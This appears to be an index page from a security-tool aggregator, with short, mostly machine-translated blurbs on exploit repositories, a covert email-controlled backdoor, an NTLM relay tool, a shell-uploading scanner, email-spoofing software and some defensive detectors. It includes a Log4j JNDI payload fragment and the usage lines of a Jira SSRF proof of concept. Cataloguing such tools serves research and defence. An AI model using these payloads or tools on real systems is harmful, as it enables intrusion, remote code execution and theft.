cve-2018-15961

CVE-2018-15961 이것은 Cved의 일부입니다: 취약한 도커 컨테이너를 관리하는 도구입니다. Cved: https://github.com/git-rep-src/cved 이미지 소스: https://github.com/cved-sources/cve-2018-15961 이미지 작성자: https://bintray.com/eaps/coldfusion/cf%3Acoldfusion/2018.0.0...

CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228Apache Log4j 远程代码执行） 所有 log4j-core 版本 =2.0-beta9 且 不要依赖当前的 Java 版本来拯救你。更新 Log4（或移除 JNDI 查找）。禁用扩展（这无论如何看起来都是个糟糕的主意）。 绕过 rc1 例如： root@kitploit: $jndi:ldap://127.0.0.1:1389/ badClassName...

Drupalgeddon2

CVE-2018-7600 | Drupal 7.58 / 8.3.9 / 8.4.6 / 8.5.1 - 'Drupalgeddon2' RCE SA-CORE-2018-002 다음에서 영감을 받음: https://github.com/dreadlocked/Drupalgeddon2 지원 대상: Drupal 8.3.9 / 8.4.6 / 8.5.1 user/register URL을 통해 account/mail 및 postrender 매개변수를 공격하며, PHP의 passthru 함수를 사용합니다. 보류 중 아직 코딩되지 않음 Drupal 7.58...

CVE-2018-18925

CVE-2018-18925 CVE-2018-18925 악용: Git 자체 호스팅 도구 Gogs에 대한 원격 코드 실행. Gogs는 Macaron 프레임워크를 기반으로 합니다. 세션 관리를 위해 사용되는 시스템은 PHP가 하는 방식과 매우 유사합니다. 쿠키의 세션 식별자는 파일 시스템의 파일에 매핑됩니다. 웹 서버가 쿠키로 세션 식별자가 포함된 요청을 받으면 파일 시스템에서 해당 파일을 찾습니다. 이 취약점은 파일 시스템에서 세션에 사용되는 파일을 검색할 때 발생하는 간단한 디렉토리 트래버설입니다. 예를 들어, ilikegogi...

OpenSSL-1_0_1g_CVE-2015-3194

OpenSSL 1.0.1g 7 Apr 2014 Copyright c 1998-2011 The OpenSSL Project Copyright c 1995-1998 Eric A. Young, Tim J. Hudson All rights reserved. 설명 OpenSSL 프로젝트는 견고하고, 상업용 수준의, 완전한 기능을 갖춘 오픈 소스 툴킷을 개발하기 위한 협력적인 노력입니다. 이 툴킷은 SSL v2/v3 및 TLS v1 프로토콜과 함께 강력한 범용 암호화 라이브러리를 구현합니다. 프로젝트는 인터넷을 통해 의사소통하고, 계획하...

PolinRider

PolinRider: DPRK 위협 행위자가 수백 개의 GitHub 리포지토리에 멀웨어를 주입 날짜: 2026-03-07 최종 업데이트: 2026-04-11 — 아래 4월 1011일 업데이트 참조 심각도: 위급 — 1,950개 이상의 공개 리포지토리에 걸친 활성 공급망 감염, TasksJacker / Contagious Interview 클러스터와의 운영상 합병 확인됨 OpenSourceMalware 팀은 GitHub 사용자 및 조직의 리포지토리에 멀웨어를 주입하는 대규모 위협 캠페인을 발견했습니다. 위협 행위자...

ctftool

CTFTOOL Just want to test the SYSTEM exploit? Click here. An Interactive CTF Exploration Tool This is ctftool, an interactive command line tool to experiment with CTF, a little-known protocol used on Windows to implement Text Services. This might be useful for studying Windows internals, debuggin...

rustinel v1.4.0

Rustinel Open-source endpoint detection for Windows, Linux, and macOS. Native telemetry to Sigma, YARA, IOC detection, and SIEM-ready alerts. Written in Rust. Website | Docs | Download | SIEM demos Quick Start Rustinel ships release archives with a binary, default config, demo rules, and a logs/...

Clickjacking-Exploit-Detector

Clickjacking-Exploit-Detector 클릭재킹 익스플로잇 탐지기는 웹페이지 스캔 기술을 사용하여 잠재적인 취약점을 식별하고 해당 요소에 대한 분석을 제공합니다. 기능 HTML 스캐닝: 클릭재킹에 악용될 수 있는 HTML 요소 및 iframe 요소를 확인합니다. 잠재적 클릭재킹 경고: 잠재적인 클릭재킹 취약점에 대한 보고서와 제안을 제공합니다. frame-ancestors 헤더 감지: 웹사이트의 Content-Security-Policy 헤더가 클릭재킹으로부터 보호하는지 확인합니다. UI 방해 감지: 웹사이트 요...

ntlm_relay_gat

NTLM Relay Gat Description NTLM Relay Gat is a powerful tool designed to automate the exploitation of NTLM relays using ntlmrelayx.py from the Impacket tool suite. By leveraging the capabilities of ntlmrelayx.py, NTLM Relay Gat streamlines the process of exploiting NTLM relay vulnerabilities,...

ntlm_relay_gat

NTLM Relay Gat 설명 NTLM Relay Gat은 Impacket 도구 모음에서 ntlmrelayx.py를 사용하여 NTLM 릴레이 공격을 자동화하도록 설계된 강력한 도구입니다. ntlmrelayx.py의 기능을 활용하여 NTLM 릴레이 취약점 악용 과정을 간소화하며, SMB 공유 나열부터 MSSQL 데이터베이스에서 명령 실행에 이르기까지 다양한 기능을 제공합니다. 기능 멀티스레딩 지원 : 여러 스레드를 사용하여 동시에 작업을 수행합니다. SMB 공유 열거 : 사용 가능한 SMB 공유를 나열합니다. SMB 셸 실행 ...

rwsploit

Oracle Reports rwservlet 스캐너 ⚠️ 승인된 사용만 가능합니다. 이 도구는 본인이 소유하거나 명시적인 서면 허가를 받은 시스템에서만 실행하세요. 무단 사용은 불법입니다. Oracle Reports Server rwservlet의 CVE-2012-3152 및 CVE-2012-3153 을 대상으로 하는 특화된 익스플로잇 스캐너입니다. 11g 미만 버전에 영향을 미칩니다. 단일 IP, CIDR 범위 또는 대상 목록에 대해 탐지, LFI 파일 읽기, SSRF 테스트 및 JSP 셸 업로드를 자동화합니다. 스마트...

CVE-2024-4577-Nuclei-Template

CVE-2024-4577 Nuclei 템플릿 이 저장소에는 CVE-2024-4577로 식별된 PHP CGI 인자 주입 취약점을 탐지하기 위한 Nuclei 템플릿이 포함되어 있습니다. 템플릿 상세 정보 root@kitploit: id: CVE-2024-4577 info: name: CVE-2024-4577 PHP CGI Argument Injection author: Hüseyin TINTAŞ severity: critical description: CVE-2024-4577 PHP CGI Argument Injection...

dicerosbicornis

DicerosBicornis Un backdoor sigiloso para Windows basado en Python que utiliza el correo electrónico como servidor de comando y control. Requisitos Python 2.x Módulo PyCrypto Módulo WMI Módulo Enum34 Módulo Netifaces Módulo pypiwin32 Características Mensajes de transporte cifrados AES + hash SHA2...

CVE-2019-8451

CVE-2019-8451 Jira未授权SSRF脆弱性 pythonの使い方 python CVE-2019-8451.py http://www.jas502n.com:8080 root@kitploit: root@kali:/CVE-2019-8451 python CVE-2019-8451.py http://www.jas502n.com:8080 SSRF URL: www.baidu.com Send poc Success! X-AUSERNAME= anonymous vulnurl=...

habu

Habu Hacking Toolkit 저는 파이썬과 네트워크 해킹에 대한 몇 가지 개념을 가르치고 배우기 위해 Habu를 개발하고 있습니다. 현재 버전에 구현된 일부 기술은 다음과 같습니다: ARP 포이즈닝 및 스니핑 DHCP 디스커버 및 스타베이션 서브도메인 식별 인증서 복제 TCP 분석 ISN, 플래그 소셜 네트워크에서 사용자명 확인 웹 기술 식별 그리고 더 많은 것! 이 소프트웨어의 개발은 Securetia SRL https://www.securetia.com/이 지원합니다. Hacking with Habu 다양한 유용한...

CVE-2024-3922-Poc

CVE-2024-3922-Poc Dokan Pro 3.10.3 이하 - 인증되지 않은 SQL Injection https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/dokan-pro/dokan-pro-3103-unauthenticated-sql-injection 플러그인 설치 필요 파일: wp-content/plugins/dokan-pro/modules/moip/module.php 메서드: handlemoipwebhook PoC 이벤트:...

espoofer

espoofer espoofer is an open-source testing tool to bypass SPF, DKIM, and DMARC authentication in email systems. It helps mail server administrators and penetration testers to check whether the target email server and client are vulnerable to email spoofing attacks or can be abused to send spoofi...

espoofer

espoofer espoofer 는 이메일 시스템에서 SPF, DKIM 및 DMARC 인증을 우회하기 위한 오픈 소스 테스트 도구입니다. 메일 서버 관리자와 침투 테스터가 대상 이메일 서버와 클라이언트가 이메일 스푸핑 공격에 취약한지 또는 스푸핑 이메일을 보내는 데 악용될 수 있는지 확인하는 데 도움을 줍니다. 그림 1. Gmail에 대한 스푸핑 공격 사례 수정됨, 데모 비디오 이 도구를 만든 이유는? 이메일 스푸핑은 개인과 조직 모두에게 큰 위협입니다 Yahoo 침해 사고, John podesta 사건. 이 문제를 해결하기 ...

CVE-2025-34040Exp

致远OA에 파일 업로드로 인한 RCE 취약점 CVE-2025-34040 매개변수 root@kitploit: options: -h, --help show this help message and exit -u URL, --url URL 검사할 URL을 입력하세요 -f FILE, --file FILE 한 줄에 하나의 URL이 있는 파일 경로를 입력하세요 -n FILENAME, --filename FILENAME 파일 이름을 입력하세요 기본값: Hello.jsp: -c CONTENT, --content CONTENT 업로드할 파일 내...